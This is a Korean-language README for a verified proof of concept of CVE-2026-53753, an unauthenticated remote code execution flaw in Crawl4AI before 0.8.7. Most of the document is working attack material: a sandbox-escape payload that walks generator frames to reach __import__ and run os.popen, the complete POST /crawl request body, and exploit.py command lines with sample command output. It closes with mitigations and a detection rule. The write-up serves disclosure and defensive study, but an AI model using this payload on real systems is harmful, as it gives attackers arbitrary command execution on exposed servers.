
CVE-2026-53753 — Crawl4AI <0.8.7 인증되지 않은 RCE (AST sandbox escape를 통한 gi_frame.f_back). Lab + PoC, verified e2e.
사전 인증 RCE (원격 코드 실행) **Crawl4AI
< 0.8.7**에서 발생. 조작된JsonCssExtractionStrategy스키마가 인증되지 않은POST /crawl엔드포인트로 전송되면 computed-fields 평가기(_safe_eval_expression)에 도달하여, Python 프레임 객체를 통해 AST 허용 목록을 이스케이프하고 실제builtins에 접근한 후,__import__('os').popen(<cmd>).read()를 실행하여 명령어의 출력을 대역 내(in-band)로 JSON 응답에 반환합니다.
| CVE | CVE-2026-53753 |
| Advisory | GHSA-qxjp-w3pj-48m7 |
| 영향받는 버전 | Crawl4AI <= 0.8.6 |
| 수정 버전 | 0.8.7 |
| 분류 | CWE-94 (코드 인젝션) / 파이썬 샌드박스 이스케이프 |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 인증 | 없음 — 배포 구성에서 jwt_enabled: false |
| 상태 | 확인됨 — 공식 unclecode/crawl4ai:0.8.6 이미지에 대해 종단간 재현 완료 |
심층 분석:
ANALYSIS.md에서 노드별 AST 분석, 런타임 프레임 스택, 요청 데이터 흐름, 패치 diff를 확인하세요.
crawl4ai/extraction_strategy.py는 추출 스키마에서 계산된 필드(computed fields)를 정의할 수 있도록 합니다.
이는 추출된 항목당 평가되는 작은 파이썬 표현식입니다. 이들은 _safe_eval_expression()에 의해 실행되며,
AST 허용 목록과 제거된 __builtins__를 사용하여 표현식을 샌드박싱하려고 시도합니다:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# 언더바 속성 접근 차단, 예: __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # __import__ 없음, eval 없음, open 없음
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
검증기는 접두사 차단(deny-by-prefix) 방식입니다. 즉, _로 시작하는 이름만 거부합니다 (그리고 import). 이 하나의 휴리스틱이 전체 샌드박스이며, 다음의 세 가지 구멍이 결합되어 완전한 이스케이프를 가능하게 합니다:
이 스키마는 인증 없이 이 함수에 도달합니다. Docker API는 security.jwt_enabled: false로 제공되므로, /crawl 토큰 의존성은 lambda: None입니다.
계산된 필드 표현식은 다음과 같습니다:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
부분별로 살펴보면:
제너레이터의 값이 os.popen(cmd).read()이므로 명령어의 표준 출력이 필드 값이 되어 /crawl 응답에 반영됩니다. 이는 대역 내 오라클(in-band oracle)로, OAST가 필요 없습니다.
list(g)가 제너레이터를 순회하는 동안 호출 스택은 다음과 같습니다:
frame: _safe_eval_expression() <-- 실제 builtins (__import__가 여기 있음) ← f_back ×3
└ frame: <expression> (eval) <-- 샌드박스 처리된 builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- 샌드박스 처리됨 ← f_back ×1
└ frame: <genexpr> g <-- 실행 중; g.gi_frame은 이 프레임 ← gi_frame
g.gi_frame.f_back는 제너레이터가 실행 중일 때만 채워집니다 (그래서 제너레이터가 자기 자신을 참조하고 list(g)로 구동되어야 하는 이유입니다. 아직 시작되지 않은 제너레이터는 f_back is None입니다). f_back을 세 번 거치면 _safe_eval_expression 프레임에 도달하며, 이 프레임의 f_builtins는 전체 builtins 모듈입니다. 여기서 서브스크립트를 통해 __import__를 가져옵니다.
이 코드 경로에서 프레임 깊이는 안정적입니다. Crawl4AI 0.8.6의
_safe_eval_expression에 대해 **f_back × 3**이 정확합니다.
공식 이미지는 취약한 기본 설정(인증 없음)을 제공합니다:
# 옵션 A — docker compose (일반 Docker 호스트, 브리지 네트워킹)
docker compose -f lab/docker-compose.yml up -d
# 옵션 B — 일반 docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
브라우저 풀이 준비될 때까지 약 20초 기다립니다 (docker logs crawl4ai-vuln → Application startup complete).
# 요청 본문을 보내지 않고 검사:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# 실행 (명령어 표준 출력이 응답에 포함되어 반환됨):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py는 파이썬 표준 라이브러리만 사용합니다 — 별도 종속성 없음.
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
out 필드는 실시간 OS 상태입니다 (id 출력, uname, 컨테이너의 os-release). 요청의 에코가 아닌, uid=999(appuser)는 컨테이너의 서비스 계정으로, Crawl4AI 호스트 내부에서 코드 실행이 이루어졌음을 증명합니다. 고유한 echo <marker>가 그대로 반영되어 명령어가 실제로 실행되었음을 확인합니다.
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
raw://…는 요청을 자체 포함형으로 만듭니다 — 아웃바운드 가져오기가 필요 없으며, 공격자가 HTML을 인라인으로 제공합니다.baseSelector: "div"는 단순히 요소와 일치하여 계산된 필드가 평가되도록 하면 됩니다. 실제 크롤 대상에 대해서는 페이지와 일치하는 선택자를 사용하십시오.네트워크에 연결 가능한 모든 클라이언트는 기본 배포에서 Crawl4AI 호스트에 인증 없이 임의의 OS 명령어를 실행할 수 있습니다. 이는 서버의 완전한 손상과 서버가 접근 가능한 모든 내부 리소스로의 피벗을 의미합니다.
_safe_eval_expression이 제거됨. expression 계산된 필드 키는 비활성화됨 — 대신 검증된 파이썬 호출 가능 객체와 함께 function 키를 사용하세요.)jwt_enabled: true + api_token)를 활성화하고 Crawl4AI API를 신뢰할 수 없는 네트워크에 절대 노출하지 마세요.POST /crawl (및 /crawl/stream) 본문에서 gi_frame, f_back, f_builtins 또는 expression 키를 포함하는 computed 필드를 플래그 처리하세요.
| # | 구멍 | 중요한 이유 |
|---|
| 1 | gi_frame, f_back, f_builtins는 _로 시작하지 않음 | 전체 파이썬 프레임/제너레이터 내부 표면에 접근 가능 |
| 2 | obj['__import__']는 ast.Subscript로서 ast.Attribute가 아님 | 검증기는 dict 서브스크립트 키를 검사하지 않으므로 던더 키 __import__가 통과 |
| 3 | 실행 중인 제너레이터의 f_back 체인은 외부 프레임으로 연결되며, 해당 프레임의 f_builtins는 실제 builtins | 제거된 _SAFE_EVAL_BUILTINS에서 전체 builtins(__import__ 등)로 이스케이프 |
| 조각 | 역할 | 검증기가 허용하는 이유 |
|---|
(lambda: ... )() | 함수 스코프를 생성하여 왈러스로 바인딩된 이름이 클로저 셀에 존재하게 함 | ast.Lambda는 검사되지 않음 |
g := ( <expr> for i in [1]) | 제너레이터를 g에 바인딩하고, 제너레이터 본문이 g(자기 자신)를 참조 | :=와 제너레이터 표현식은 검사되지 않음 (왈러스는 컴프리헨션 iterable 내에서는 불법이므로 튜플 요소에 배치) |
list(g) | 제너레이터를 구동하여 본문 실행 시 프레임이 활성 상태가 되도록 함 | list는 안전한 builtins에 포함됨 |
g.gi_frame | 제너레이터의 프레임 객체 | gi_frame은 _로 시작하지 않음 |
.f_back.f_back.f_back | 상위 세 프레임으로 올라가 실제 builtins가 있는 프레임에 도달 | f_back은 _로 시작하지 않음 |
.f_builtins | 해당 프레임의 builtins 매핑 (실제) | f_builtins는 _로 시작하지 않음 |
['__import__'] | builtins 딕셔너리에서 __import__를 가져옴 | 딕셔너리 서브스크립트 — 절대 검사되지 않음 |
('os') | __import__('os') → os 모듈 | 호출 대상은 Subscript이므로 Name/Attribute가 아님 |
.popen('id').read() | 명령어를 실행하고 표준 출력을 반환 | popen/read는 _로 시작하지 않음 |
| 증상 | 원인 / 해결 방법 |
|---|
:11235에서 Connection refused | 컨테이너가 아직 준비 중이거나 Docker 데몬에 사용 가능한 bridge 네트워크가 없습니다. Application startup complete가 표시될 때까지 기다리세요. 포트 매핑이 바인딩되지 않으면 --network host로 컨테이너를 실행하세요. |
out이 null | 기본 선택자가 요소와 일치하지 않았습니다. raw:// HTML에 <div>가 포함되어 있는지 확인하거나 baseSelector를 조정하세요. |
| 0.8.6에서 작동하지만 0.8.7에서 작동하지 않음 | 예상된 현상입니다. 0.8.7은 _safe_eval_expression을 제거하고 expression 키 자체를 비활성화합니다 (수정 사항). |